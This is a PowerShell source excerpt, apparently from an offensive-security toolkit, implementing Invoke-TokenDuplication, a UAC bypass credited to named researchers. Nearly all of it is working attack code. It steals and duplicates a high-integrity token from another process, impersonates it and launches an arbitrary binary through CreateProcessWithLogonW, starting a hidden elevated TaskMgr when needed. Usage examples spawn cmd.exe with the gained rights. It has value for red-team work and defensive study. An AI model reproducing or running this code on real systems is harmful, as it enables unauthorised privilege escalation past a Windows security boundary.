| $TOKEN_MANDATORY_LABEL_Struct.Label = $SID_AND_ATTRIBUTES_Struct | |
| [IntPtr]$TOKEN_MANDATORY_LABEL_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TOKEN_MANDATORY_LABEL::GetSize()) | |
| [Runtime.InteropServices.Marshal]::StructureToPtr($TOKEN_MANDATORY_LABEL_Struct, $TOKEN_MANDATORY_LABEL_PTR,$False) | |
| $TOKEN_MANDATORY_LABEL_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($TOKEN_MANDATORY_LABEL_Struct) | |
| if($ntdll::NtSetInformationToken($hNewToken,25,$TOKEN_MANDATORY_LABEL_PTR,$($TOKEN_MANDATORY_LABEL_SIZE)) -eq 0) { | |
| Write-Verbose "[*] Lowered token mandatory IL" | |
| } else { | |
| Write-Verbose "[!] Failed modify token!`n" | |
| Break | |
| } | |
| [IntPtr]$LUAToken = [System.IntPtr]::Zero | |
| if($ntdll::NtFilterToken($hNewToken,4,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[ref]$LUAToken) -eq 0) { | |
| Write-Verbose "[*] Created restricted token" | |
| } else { | |
| Write-Verbose "[!] Failed to create restricted token!`n" | |
| Break | |
| } | |
| [IntPtr]$hNewToken = [System.IntPtr]::Zero | |
| $NEW_SECURITY_ATTRIBUTES_Struct = [Activator]::CreateInstance($SECURITY_ATTRIBUTES) | |
| [IntPtr]$NEW_SECURITY_ATTRIBUTES_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SECURITY_ATTRIBUTES::GetSize()) | |
| [Runtime.InteropServices.Marshal]::StructureToPtr($NEW_SECURITY_ATTRIBUTES_Struct, $NEW_SECURITY_ATTRIBUTES_PTR,$False) | |
| if($Advapi32::DuplicateTokenEx($LUAToken,0xc,$NEW_SECURITY_ATTRIBUTES_PTR,2,2,[ref]$hNewToken)){ | |
| Write-Verbose "[*] Duplicated restricted token" | |
| } else { | |
| Write-Verbose "[!] Failed to duplicate restricted token!`n" | |
| Break | |
| } | |
| if($Advapi32::ImpersonateLoggedOnUser($hNewToken)){ | |
| Write-Verbose "[*] Successfully impersonated security context" | |
| } else { | |
| Write-Verbose "[!] Failed impersonate context!`n" | |
| Break | |
| } | |
| $STARTUP_INFO_STRUCT = [Activator]::CreateInstance($STARTUPINFO) | |
| $STARTUP_INFO_STRUCT.dwFlags = 0x00000001 | |
| $STARTUP_INFO_STRUCT.wShowWindow = 0x0001 | |
| $STARTUP_INFO_STRUCT.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($STARTUP_INFO_STRUCT) | |
| [IntPtr]$STARTUP_INFO_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($STARTUPINFO::GetSize()) | |
| [Runtime.InteropServices.Marshal]::StructureToPtr($STARTUP_INFO_STRUCT,$STARTUP_INFO_PTR,$false) | |
| $PROCESS_INFORMATION_STRUCT = [Activator]::CreateInstance($PROCESS_INFORMATION) | |
| [IntPtr]$PROCESS_INFORMATION_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PROCESS_INFORMATION::GetSize()) | |
| [Runtime.InteropServices.Marshal]::StructureToPtr($PROCESS_INFORMATION_STRUCT,$PROCESS_INFORMATION_PTR,$false) | |
| $path = $Env:SystemRoot | |
| $advapi32::CreateProcessWithLogonW("l","o","l",0x00000002,$Binary,$Binary + " " + $Arguments,0x04000000,$null,$path,$STARTUP_INFO_PTR,[ref]$PROCESS_INFORMATION_PTR) | |
| } | |
| function Invoke-TokenDuplication { | |
| <# | |
| .SYNOPSIS | |
| Bypasses UAC by Duplicating a HI security access token and calling CreateProcessWithLogonW() | |
| Author: Matt Nelson (@enigma0x3), James Forshaw (@tiraniddo) and Ruben Boonen (@fuzzySec) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: None | |
| .DESCRIPTION | |
| This function will enumerate the process listing for any processes that have a HI security access token. | |
| If one is identified, it will Duplicate that token, apply it to the current thread and then call | |
| CreateProcessWithLogonW() to start a new process with that HI security access token. If a HI token is not | |
| found, the function will start one via the "RunAs" verb for TaskMgr.exe, loop the process list again and | |
| Duplicate any newly found HI security access tokens. | |
| .PARAMETER Binary | |
| Should exist in System32. If it doesn't, modify the path. | |
| .PARAMETER Arguments | |
| Any arguments that follow the binary entered. | |
| .PARAMETER ProcID | |
| Process ID of a proc with a HI security access token applied. This will use a specified process | |
| instead of looping the process list. | |
| .EXAMPLE | |
| Invoke-TokenDuplication -Binary "cmd.exe" -Arguments "/c calc.exe" -Verbose | |
| Loops the proccess list, duplicates a HI token and starts cmd.exe /c calc.exe with that token. | |
| .EXAMPLE | |
| Invoke-TokenDuplication -Binary "cmd.exe" -Arguments "/c calc.exe" -ProcID 1128 -Verbose | |
| Uses Process ID 1128 to duplicate the token and start cmd.exe /c calc.exe with that token. | |
| .LINK | |
| https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html | |
| https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-2.html | |
| https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-3.html | |
| https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1 | |
| #> | |
| param( | |
| [Parameter(Mandatory = $True)] | |
| [String]$Binary, | |
| [Parameter(Mandatory = $False)] | |
| [String]$Arguments, | |
| [Parameter(Mandatory = $False)] | |
| [int]$ProcID | |
| ) | |
| if(!$ProcID){ | |
| $VerbosePreference = "continue" | |
| Write-Verbose "Enumerating Process list..." | |
| $HIProc = @(EnumProcesses) | |
| if($HIProc.count -eq 0){ | |
| Write-Verbose "No HI process available, starting one..." | |
| $StartInfo = New-Object Diagnostics.ProcessStartInfo | |
| $StartInfo.FileName = "TaskMgr.exe" | |
| $StartInfo.UseShellExecute = $true | |
| $StartInfo.Verb = "runas" | |
| $Startinfo.WindowStyle = 'Hidden' | |
| $Startinfo.CreateNoWindow = $True | |
| $Process = New-Object Diagnostics.Process | |
| $Process.StartInfo = $StartInfo | |
| $null = $Process.Start() | |
| Write-Verbose "Enumerating Process list again..." | |
| $HIProc = EnumProcesses | |
| Write-Verbose "HI Process found. PID: $HIProc" | |
| Write-Verbose "DuplicatingToken from $HIProc" | |
| Write-Verbose $Binary | |
| $null = ElevateProcess $HIProc $Binary $Arguments | |
| Write-Verbose "Sleeping 5 seconds..." | |
| Start-sleep 5 | |
| Write-Verbose "Killing the newly created process" | |
| $null = $Kernel32::TerminateProcess($Process.Handle,1) | |
| }else{ | |
| Write-Verbose "HI Proc found. ID: $HIProc" | |
| ElevateProcess $HIProc $Binary $Arguments | |
| } | |
| }else{ | |
| Write-Verbose "Elevating $ProcID" | |
| ElevateProcess $ProcID $Binary $Arguments | |
| } | |
| } | |